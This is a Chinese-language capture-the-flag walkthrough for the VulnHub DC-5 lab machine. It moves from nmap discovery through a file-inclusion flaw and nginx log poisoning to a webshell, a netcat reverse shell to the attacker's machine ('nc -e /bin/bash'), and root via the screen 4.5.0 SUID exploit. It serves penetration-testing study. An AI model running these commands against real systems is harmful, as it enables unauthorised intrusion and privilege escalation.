靶机DC-5下载地址:https://download.vulnhub.com/dc/DC-5.zip
环境:VMware 15虚拟机软件
DC-5靶机IP地址:192.168.220.139
Kali的IP地址:192.168.220.145
DC-5靶机与kali都以NAT模式连接到网络,查看kali的IP地址:192.168.220.145
ip addr
使用nmap工具扫描192.168.220.0/24网段发现存活主机,扫到DC-5靶机IP为:192.168.220.139
nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP
使用nmap工具对DC-5靶机扫描开放的端口,开放端口有80(http)、111、41363
nmap -A -T4 192.168.220.139 -p- -oN nmap139.A
使用浏览器打开靶机网址,页面如下
http://192.168.220.139/
打开Contact页面,发现是一个留言板块,在留言板块输入内容并提交
http://192.168.220.139/contact.php
页面跳转到Thankyou.php,并且在URL地址栏可以看到参数,GET方式传参
http://192.168.220.139/thankyou.php?firstname=1234&lastname=1234&country=canada&subject=12121
当刷新页面时发现Copyright © 2017 一直在变化,猜测页面存在文件包含
使用BurpSuite抓包,爆破后台页面,发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面
在浏览器打开footer.php页面,确认文件包含页面是footer.php
http://192.168.220.139/footer.php
使用BurpSuite爆破文件包含的变量名,及后台passwd文件存在位置
变量名:file,passwd文件位置:/etc/passwd
http://192.168.220.139/thankyou.php?page=footer.php
http://192.168.220.139/thankyou.php?file=footer.php
地址栏输入,打开passwd文件
http://192.168.220.139/thankyou.php?file=/etc/passwd
使用BurpSuite抓包爆破靶机日志文件的位置,爆破成功
/var/log/nginx/error.log
/var/log/nginx/access.log
使用BurpSuite修改数据包数据,向日志文件中写入一句话木马,打开日志文件可以看到成功写入
http://192.168.220.139/thankyou.php?file=/var/log/nginx/access.log
http://192.168.220.139/thankyou.php?file=/var/log/nginx/error.log
GET /hello-world! HTTP/1.1
使用中国蚁剑连接,成功获取后台文件及虚拟终端
在服务器/tmp目录下新建一个shell.php文件,写入一句话木马并重新连接
文件shell.php内容如下:
1234567890
打开shell.php文件,并使用蚁剑连接到虚拟终端
http://192.168.220.139/thankyou.php?file=/tmp/shell.php
使用蚁剑虚拟终端反弹shell到kali
nc -e /bin/bash 192.168.220.142 4567
在kali监听4567端口接收shell
nc -lvvp 4567
切换shell外壳
python -c 'import pty;pty.spawn("/bin/bash")'
使用find命令,查找具有suid权限的命令,发现screen-4.5.0
find / -perm /4000 2>dev/null
查找可用于screen 4.5.0的漏洞脚本文件
searchsploit screen 4.5.0
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.txt
将41154.sh中上面一部分c语言代码另存为libhax.c
编译libhax.c文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
将41154.sh中下面一部分c语言代码另存为rootshell.c
编译rootshell.c文件
gcc -o rootshell rootshell.c
将41154.sh中剩下部分代码另存为dc5.sh脚本文件
并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错
使用蚁剑将libhax.so 、rootshell 、dc5.sh三个文件上传到服务器的/tmp目录下
为dc5.sh增加可执行权限,执行dc5.sh文件,成功获取到root权限
www-data@dc-5:/tmp$ chmod +x dc5.sh
www-data@dc-5:/tmp$ ./dc5.sh
获取root权限后,进入root目录下,成功获取thisistheflag.txt文件